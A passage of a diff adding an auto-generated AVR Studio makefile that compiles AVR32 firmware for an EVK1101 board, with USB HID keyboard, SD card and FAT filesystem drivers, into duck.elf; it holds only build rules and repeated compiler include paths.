+src/asf/avr32/services/fs/fat/fat.o \ +src/asf/avr32/services/fs/fat/fat_unusual.o \ +src/asf/avr32/services/fs/fat/file.o \ +src/asf/avr32/services/fs/fat/navigation.o \ +src/asf/avr32/utils/startup/startup_uc3.o \ +src/asf/avr32/utils/startup/trampoline_uc3.o \ +src/asf/common/services/clock/uc3b0_b1/sysclk.o \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.o \ +src/asf/common/services/storage/ctrl_access/ctrl_access.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o \ +src/asf/common/services/usb/class/hid/device/udi_hid.o \ +src/asf/common/services/usb/udc/udc.o \ +src/main.o + + +C_DEPS += \ +src/asf/avr32/boards/evk1101/init.d \ +src/asf/avr32/boards/evk1101/led.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d \ +src/asf/avr32/drivers/flashc/flashc.d \ +src/asf/avr32/drivers/gpio/gpio.d \ +src/asf/avr32/drivers/intc/intc.d \ +src/asf/avr32/drivers/pm/pm.d \ +src/asf/avr32/drivers/pm/pm_conf_clocks.d \ +src/asf/avr32/drivers/pm/power_clocks_lib.d \ +src/asf/avr32/drivers/spi/spi.d \ +src/asf/avr32/drivers/usbb/usbb_device.d \ +src/asf/avr32/services/fs/fat/fat.d \ +src/asf/avr32/services/fs/fat/fat_unusual.d \ +src/asf/avr32/services/fs/fat/file.d \ +src/asf/avr32/services/fs/fat/navigation.d \ +src/asf/common/services/clock/uc3b0_b1/sysclk.d \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.d \ +src/asf/common/services/storage/ctrl_access/ctrl_access.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d \ +src/asf/common/services/usb/class/hid/device/udi_hid.d \ +src/asf/common/services/usb/udc/udc.d \ +src/main.d + + +C_DEPS_AS_ARGS += \ +src/asf/avr32/boards/evk1101/init.d \ +src/asf/avr32/boards/evk1101/led.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.d \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.d \ +src/asf/avr32/drivers/flashc/flashc.d \ +src/asf/avr32/drivers/gpio/gpio.d \ +src/asf/avr32/drivers/intc/intc.d \ +src/asf/avr32/drivers/pm/pm.d \ +src/asf/avr32/drivers/pm/pm_conf_clocks.d \ +src/asf/avr32/drivers/pm/power_clocks_lib.d \ +src/asf/avr32/drivers/spi/spi.d \ +src/asf/avr32/drivers/usbb/usbb_device.d \ +src/asf/avr32/services/fs/fat/fat.d \ +src/asf/avr32/services/fs/fat/fat_unusual.d \ +src/asf/avr32/services/fs/fat/file.d \ +src/asf/avr32/services/fs/fat/navigation.d \ +src/asf/common/services/clock/uc3b0_b1/sysclk.d \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.d \ +src/asf/common/services/storage/ctrl_access/ctrl_access.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d \ +src/asf/common/services/usb/class/hid/device/udi_hid.d \ +src/asf/common/services/usb/udc/udc.d \ +src/main.d + + +OUTPUT_FILE_PATH +=duck.elf + +OUTPUT_FILE_PATH_AS_ARGS +=duck.elf + +ADDITIONAL_DEPENDENCIES:= + +OUTPUT_FILE_DEP:= ./makedep.mk + +# AVR32/GNU C Compiler + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +src/asf/avr32/boards/evk1101/%.o: ../src/asf/avr32/boards/evk1101/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/%.o: ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/flashc/%.o: ../src/asf/avr32/drivers/flashc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/gpio/%.o: ../src/asf/avr32/drivers/gpio/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/intc/%.o: ../src/asf/avr32/drivers/intc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/pm/%.o: ../src/asf/avr32/drivers/pm/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/spi/%.o: ../src/asf/avr32/drivers/spi/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/drivers/usbb/%.o: ../src/asf/avr32/drivers/usbb/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/avr32/services/fs/fat/%.o: ../src/asf/avr32/services/fs/fat/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/clock/uc3b0_b1/%.o: ../src/asf/common/services/clock/uc3b0_b1/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/sleepmgr/uc3/%.o: ../src/asf/common/services/sleepmgr/uc3/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/storage/ctrl_access/%.o: ../src/asf/common/services/storage/ctrl_access/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/class/hid/device/kbd/%.o: ../src/asf/common/services/usb/class/hid/device/kbd/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/class/hid/device/%.o: ../src/asf/common/services/usb/class/hid/device/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/asf/common/services/usb/udc/%.o: ../src/asf/common/services/usb/udc/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" -I"../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi" -O1 -fdata-sections -ffunction-sections -g3 -Wall -c -std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax -MD -MP -MF "$(@:%.o=%.d)" -MT"$(@:%.o=%.d)" -mpart=uc3b0256 -o"$@" "$<" + @echo Finished building: $< + +src/%.o: ../src/%.c + @echo Building file: $< + @echo Invoking: AVR32/GNU C Compiler + $(QUOTE)C:\Program Files (x86)\Atmel\AVR Studio 5.1\extensions\Atmel\AVRGCC\3.3.1.27\AVRToolchain\bin\avr32-gcc.exe$(QUOTE) -DBOARD=EVK1101 -I"../src" -I"../src/asf/avr32/boards" -I"../src/asf/avr32/boards/evk1101" -I"../src/asf/avr32/drivers/flashc" -I"../src/asf/avr32/drivers/gpio" -I"../src/asf/avr32/drivers/intc" -I"../src/asf/avr32/drivers/pm" -I"../src/asf/avr32/drivers/spi" -I"../src/asf/avr32/services/fs/fat" -I"../src/asf/avr32/services/fs/fat/fat_example" -I"../src/asf/avr32/utils" -I"../src/asf/avr32/utils/preprocessor" -I"../src/asf/common/boards" -I"../src/asf/common/services/storage/ctrl_access" -I"../src/asf/common/utils" -I"../src/config" -I"../src/asf/avr32/drivers/usbb" -I"../src/asf/common/services/sleepmgr" -I"../src/asf/common/services/clock" -I"../src/asf/common/services/usb" -I"../src/asf/common/services/usb/udc" -I"../src/asf/common/services/usb/class/hid" -I"../src/asf/common/services/usb/class/hid/device/kbd" -I"../src/asf/common/services/usb/class/hid/device" 